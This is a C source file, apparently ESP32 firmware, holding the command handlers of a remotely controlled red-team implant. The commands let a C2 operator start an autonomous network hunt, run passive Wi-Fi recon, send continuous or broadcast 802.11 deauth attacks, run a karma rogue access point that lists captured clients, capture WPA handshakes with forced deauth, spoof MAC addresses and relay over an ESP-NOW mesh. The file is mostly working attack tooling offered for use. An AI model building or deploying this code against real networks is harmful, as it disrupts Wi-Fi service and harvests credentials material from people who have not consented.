/* * cmd_redteam.c * Red Team offensive operations — C2 command handlers. */ #include "sdkconfig.h" #include "cmd_redteam.h" #ifdef CONFIG_MODULE_REDTEAM #include #include #include "esp_log.h" #include "utils.h" #include "rt_config.h" #include "rt_hunt.h" #include "rt_stealth.h" #include "rt_mesh.h" #include "rt_deauth.h" #include "rt_promisc.h" #include "rt_attack.h" #ifdef CONFIG_RT_KARMA #include "rt_karma.h" #endif #ifdef CONFIG_RT_CAPTURE #include "rt_capture.h" #endif #define TAG "RT" /* ============================================================ * COMMAND: rt_hunt [auto] * Start the hunt. "auto" = enable auto-trigger on TCP failure. * ============================================================ */ static int cmd_rt_hunt(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (rt_hunt_is_active()) { msg_info(TAG, "Hunt already running", req); return 0; } rt_hunt_trigger(); msg_info(TAG, "Hunt started", req); return 0; } /* ============================================================ * COMMAND: rt_stop * Stop hunt, restore WiFi + MAC + TX power. * ============================================================ */ static int cmd_rt_stop(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; if (!rt_hunt_is_active()) { msg_info(TAG, "Hunt not running", req); return 0; } rt_hunt_stop(); msg_info(TAG, "Hunt stopped, WiFi restored", req); return 0; } /* ============================================================ * COMMAND: rt_status * Report state, SSID, method, MAC, TX power. * ============================================================ */ static int cmd_rt_status(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; rt_state_t state = rt_hunt_get_state(); uint8_t mac[6]; rt_stealth_get_current_mac(mac); char buf[256]; snprintf(buf, sizeof(buf), "state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X" " nets=%d c2_fb=%d mesh=%s", rt_hunt_state_name(state), rt_hunt_connected_ssid(), rt_hunt_connected_method(), mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], rt_config_net_count(), rt_config_c2_count(), rt_mesh_is_running() ? "on" : "off"); msg_info(TAG, buf, req); return 0; } /* ============================================================ * COMMAND: rt_scan * WiFi scan + report results to C2 (recon). * ============================================================ */ static int cmd_rt_scan(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; msg_info(TAG, "Passive scan starting...", req); #ifdef CONFIG_RT_STEALTH int found = rt_stealth_passive_scan(3000); rt_scan_ap_t aps[RT_MAX_SCAN_APS]; int count = rt_stealth_get_scan_results(aps, RT_MAX_SCAN_APS); for (int i = 0; i < count; i++) { char line[128]; snprintf(line, sizeof(line), "AP: %s ch=%d rssi=%d auth=%d bssid=%02X:%02X:%02X:%02X:%02X:%02X", aps[i].ssid, aps[i].channel, aps[i].rssi, aps[i].auth_mode, aps[i].bssid[0], aps[i].bssid[1], aps[i].bssid[2], aps[i].bssid[3], aps[i].bssid[4], aps[i].bssid[5]); msg_data(TAG, line, strlen(line), (i == count - 1), req); } char summary[64]; snprintf(summary, sizeof(summary), "Scan done: %d APs found", found); msg_info(TAG, summary, req); #else msg_info(TAG, "Stealth not enabled, using active scan", req); /* TODO: fallback to esp_wifi_scan_start() */ #endif return 0; } /* ============================================================ * COMMAND: rt_net_add * Add/update a known network. Pass "" to remove. * ============================================================ */ static int cmd_rt_net_add(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (argc < 1) { msg_error(TAG, "usage: rt_net_add [pass]", req); return -1; } const char *ssid = argv[0]; const char *pass = (argc >= 2) ? argv[1] : ""; /* Empty string for pass means "remove" */ if (argc >= 2 && strcmp(pass, "\"\"") == 0) { if (rt_config_net_remove(ssid)) { char buf[96]; snprintf(buf, sizeof(buf), "Removed network '%s'", ssid); msg_info(TAG, buf, req); } else { msg_error(TAG, "Network not found", req); } return 0; } if (rt_config_net_add(ssid, pass)) { char buf[96]; snprintf(buf, sizeof(buf), "Added network '%s'", ssid); msg_info(TAG, buf, req); } else { msg_error(TAG, "Failed to add network (full?)", req); } return 0; } /* ============================================================ * COMMAND: rt_net_list * List known networks. * ============================================================ */ static int cmd_rt_net_list(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS]; int count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS); if (count == 0) { msg_info(TAG, "No known networks", req); return 0; } for (int i = 0; i < count; i++) { char line[128]; snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s", i, nets[i].ssid, nets[i].pass[0] ? "***" : "(open)"); msg_data(TAG, line, strlen(line), (i == count - 1), req); } return 0; } /* ============================================================ * COMMAND: rt_mesh * Enable/disable ESP-NOW mesh relay. * ============================================================ */ static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (argc < 1) { msg_error(TAG, "usage: rt_mesh ", req); return -1; } #ifdef CONFIG_RT_MESH if (strcmp(argv[0], "start") == 0) { if (rt_mesh_is_running()) { msg_info(TAG, "Mesh already running", req); } else if (rt_mesh_start()) { msg_info(TAG, "Mesh relay started", req); } else { msg_error(TAG, "Mesh start failed", req); } } else if (strcmp(argv[0], "stop") == 0) { rt_mesh_stop(); msg_info(TAG, "Mesh relay stopped", req); } else { msg_error(TAG, "usage: rt_mesh ", req); } #else msg_error(TAG, "ESP-NOW mesh not enabled (CONFIG_RT_MESH)", req); #endif return 0; } /* ============================================================ * COMMAND: rt_deauth [client] [count] [channel] * Send 802.11 deauth frames to disconnect clients from an AP. * ============================================================ */ static int cmd_rt_deauth(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (argc < 1) { msg_error(TAG, "usage: rt_deauth [client] [count] [channel]", req); return -1; } /* Parse BSSID */ uint8_t bssid[6]; if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]) != 6) { msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req); return -1; } /* Parse optional client MAC */ uint8_t client[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; bool has_client = false; if (argc >= 2 && strcmp(argv[1], "all") != 0) { if (sscanf(argv[1], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &client[0], &client[1], &client[2], &client[3], &client[4], &client[5]) == 6) { has_client = true; } } /* Parse optional count (0 = continuous) */ uint32_t count = 0; if (argc >= 3) { count = (uint32_t)atoi(argv[2]); } /* Parse optional channel */ uint8_t channel = 0; if (argc >= 4) { channel = (uint8_t)atoi(argv[3]); } rt_deauth_start(bssid, has_client ? client : NULL, channel, count, 10); char buf[128]; snprintf(buf, sizeof(buf), "Deauth started: %s → %s%s", argv[0], has_client ? argv[1] : "broadcast", count ? "" : " (continuous)"); msg_info(TAG, buf, req); return 0; } /* ============================================================ * COMMAND: rt_deauth_stop * Stop the running deauth attack. * ============================================================ */ static int cmd_rt_deauth_stop(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; if (!rt_deauth_is_active()) { msg_info(TAG, "Deauth not running", req); return 0; } rt_deauth_stop(); msg_info(TAG, "Deauth stopped", req); return 0; } /* ============================================================ * COMMAND: rt_karma [duration_s] * Start karma listener (probe request responder + rogue AP). * ============================================================ */ #ifdef CONFIG_RT_KARMA static int cmd_rt_karma(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (rt_karma_is_active()) { msg_info(TAG, "Karma already running", req); return 0; } uint32_t duration = 0; if (argc >= 1) { duration = (uint32_t)atoi(argv[0]); } rt_karma_start(duration); char buf[64]; snprintf(buf, sizeof(buf), "Karma started%s", duration ? "" : " (continuous)"); msg_info(TAG, buf, req); return 0; } static int cmd_rt_karma_stop(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; if (!rt_karma_is_active()) { msg_info(TAG, "Karma not running", req); return 0; } rt_karma_stop(); msg_info(TAG, "Karma stopped", req); return 0; } static int cmd_rt_karma_clients(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; rt_karma_client_t clients[RT_KARMA_MAX_CLIENTS]; int count = rt_karma_get_clients(clients, RT_KARMA_MAX_CLIENTS); if (count == 0) { msg_info(TAG, "No clients captured", req); return 0; } for (int i = 0; i < count; i++) { char line[128]; snprintf(line, sizeof(line), "[%d] %02X:%02X:%02X:%02X:%02X:%02X ssid='%s' conn=%s", i, clients[i].mac[0], clients[i].mac[1], clients[i].mac[2], clients[i].mac[3], clients[i].mac[4], clients[i].mac[5], clients[i].ssid, clients[i].connected ? "yes" : "no"); msg_data(TAG, line, strlen(line), (i == count - 1), req); } return 0; } #endif /* CONFIG_RT_KARMA */ /* ============================================================ * COMMAND: rt_capture [channel] [deauth] * Capture WPA 4-way handshake from target AP. * ============================================================ */ #ifdef CONFIG_RT_CAPTURE static int cmd_rt_capture(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (argc < 1) { msg_error(TAG, "usage: rt_capture [channel] [deauth]", req); return -1; } uint8_t bssid[6]; if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5]) != 6) { msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req); return -1; } uint8_t channel = 0; if (argc >= 2) { channel = (uint8_t)atoi(argv[1]); } bool send_deauth = false; if (argc >= 3 && strcmp(argv[2], "deauth") == 0) { send_deauth = true; } rt_capture_start(bssid, channel, send_deauth); char buf[96]; snprintf(buf, sizeof(buf), "Capture started: %s ch=%d%s", argv[0], channel, send_deauth ? " +deauth" : ""); msg_info(TAG, buf, req); return 0; } static int cmd_rt_capture_stop(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; if (!rt_capture_is_active()) { msg_info(TAG, "Capture not running", req); return 0; } rt_capture_stop(); msg_info(TAG, "Capture stopped", req); return 0; } #endif /* CONFIG_RT_CAPTURE */ /* ============================================================ * Command table * ============================================================ */ static const command_t rt_cmds[] = { { .name = "rt_hunt", .sub = NULL, .help = "Start autonomous network hunt", .min_args = 0, .max_args = 1, .handler = (command_handler_t)cmd_rt_hunt, .ctx = NULL, .async = true, }, { .name = "rt_stop", .sub = NULL, .help = "Stop hunt, restore WiFi/MAC/TX", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_stop, .ctx = NULL, .async = false, }, { .name = "rt_status", .sub = NULL, .help = "Hunt state, MAC, method, config", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_status, .ctx = NULL, .async = false, }, { .name = "rt_scan", .sub = NULL, .help = "Passive WiFi scan + report to C2", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_scan, .ctx = NULL, .async = true, }, { .name = "rt_net_add", .sub = NULL, .help = "Add known network: rt_net_add [pass]", .min_args = 1, .max_args = 2, .handler = (command_handler_t)cmd_rt_net_add, .ctx = NULL, .async = false, }, { .name = "rt_net_list", .sub = NULL, .help = "List known networks", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_net_list, .ctx = NULL, .async = false, }, { .name = "rt_mesh", .sub = NULL, .help = "ESP-NOW mesh relay: rt_mesh ", .min_args = 1, .max_args = 1, .handler = (command_handler_t)cmd_rt_mesh, .ctx = NULL, .async = false, }, { .name = "rt_deauth", .sub = NULL, .help = "Deauth attack: rt_deauth [client|all] [count] [channel]", .min_args = 1, .max_args = 4, .handler = (command_handler_t)cmd_rt_deauth, .ctx = NULL, .async = true, }, { .name = "rt_deauth_stop", .sub = NULL, .help = "Stop deauth attack", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_deauth_stop, .ctx = NULL, .async = false, }, #ifdef CONFIG_RT_KARMA { .name = "rt_karma", .sub = NULL, .help = "Karma: rt_karma [duration_s]", .min_args = 0, .max_args = 1, .handler = (command_handler_t)cmd_rt_karma, .ctx = NULL, .async = true, }, { .name = "rt_karma_stop", .sub = NULL, .help = "Stop karma", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_karma_stop, .ctx = NULL, .async = false, }, { .name = "rt_karma_clients", .sub = NULL, .help = "List karma-captured clients", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_karma_clients, .ctx = NULL, .async = false, }, #endif #ifdef CONFIG_RT_CAPTURE { .name = "rt_capture", .sub = NULL, .help = "Capture WPA handshake: rt_capture [ch] [deauth]", .min_args = 1, .max_args = 3, .handler = (command_handler_t)cmd_rt_capture, .ctx = NULL, .async = true, }, { .name = "rt_capture_stop", .sub = NULL, .help = "Stop handshake capture", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_rt_capture_stop, .ctx = NULL, .async = false, }, #endif }; /* ============================================================ * Registration * ============================================================ */ void mod_redteam_register_commands(void) { ESPILON_LOGI_PURPLE(TAG, "Registering red team commands"); rt_config_init(); rt_config_save_orig_mac(); rt_promisc_init(); rt_attack_init(); for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) { command_register(&rt_cmds[i]); } } #else /* !CONFIG_MODULE_REDTEAM */ void mod_redteam_register_commands(void) { /* empty */ } #endif /* CONFIG_MODULE_REDTEAM */